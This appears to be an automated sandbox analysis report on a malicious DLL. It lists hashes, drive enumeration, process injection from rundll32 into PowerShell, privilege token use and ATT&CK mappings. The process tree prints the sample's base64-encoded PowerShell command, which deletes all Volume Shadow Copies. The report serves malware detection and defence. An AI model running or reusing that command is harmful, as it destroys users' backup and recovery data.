15a53543bd1b08ed96142ee57a133dabd82fcce3fefcf97a81cbbe7d6f9cf312

General

Target

15a53543bd1b08ed96142ee57a133dabd82fcce3fefcf97a81cbbe7d6f9cf312.dll
Size

164KB
MD5

7e0c6108b57e5bec6f7bf6b477b9dbec
SHA1

211401c761b575ac6b2e2d6839261a5d9b51a400
SHA256

15a53543bd1b08ed96142ee57a133dabd82fcce3fefcf97a81cbbe7d6f9cf312
SHA512

7a6a593aa90e4147270645d4d65d633c62fa7765269930df88f2f0764a53d107259c3eb9a720177875a252c9ca531eb5897c733d2e7d97f4603cd4e1cd7f14ba

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exepowershell.exe

pid process

1968 rundll32.exe
664 powershell.exe

pid	process
1968	rundll32.exe
664	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	664	powershell.exe
Token: SeBackupPrivilege	780	vssvc.exe
Token: SeRestorePrivilege	780	vssvc.exe
Token: SeAuditPrivilege	780	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 1536 wrote to memory of 1968	1536	rundll32.exe	rundll32.exe
PID 1536 wrote to memory of 1968	1536	rundll32.exe	rundll32.exe
PID 1536 wrote to memory of 1968	1536	rundll32.exe	rundll32.exe
PID 1536 wrote to memory of 1968	1536	rundll32.exe	rundll32.exe
PID 1536 wrote to memory of 1968	1536	rundll32.exe	rundll32.exe
PID 1536 wrote to memory of 1968	1536	rundll32.exe	rundll32.exe
PID 1536 wrote to memory of 1968	1536	rundll32.exe	rundll32.exe
PID 1968 wrote to memory of 664	1968	rundll32.exe	powershell.exe
PID 1968 wrote to memory of 664	1968	rundll32.exe	powershell.exe
PID 1968 wrote to memory of 664	1968	rundll32.exe	powershell.exe
PID 1968 wrote to memory of 664	1968	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\15a53543bd1b08ed96142ee57a133dabd82fcce3fefcf97a81cbbe7d6f9cf312.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1536

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\15a53543bd1b08ed96142ee57a133dabd82fcce3fefcf97a81cbbe7d6f9cf312.dll,#1
2⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1968

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:664

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:780

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/664-55-0x000007FEFC501000-0x000007FEFC503000-memory.dmp

Filesize
8KB

Download
memory/664-57-0x0000000001F90000-0x0000000001F92000-memory.dmp

Filesize
8KB

Download
memory/664-58-0x0000000001F60000-0x0000000001F94000-memory.dmp

Filesize
208KB

Download
memory/664-59-0x0000000001F94000-0x0000000001F97000-memory.dmp

Filesize
12KB

Download
memory/664-56-0x000007FEF3890000-0x000007FEF43ED000-memory.dmp

Filesize
11.4MB

Download
memory/664-60-0x0000000001F9B000-0x0000000001FBA000-memory.dmp

Filesize
124KB

Download
memory/1968-54-0x0000000075D51000-0x0000000075D53000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads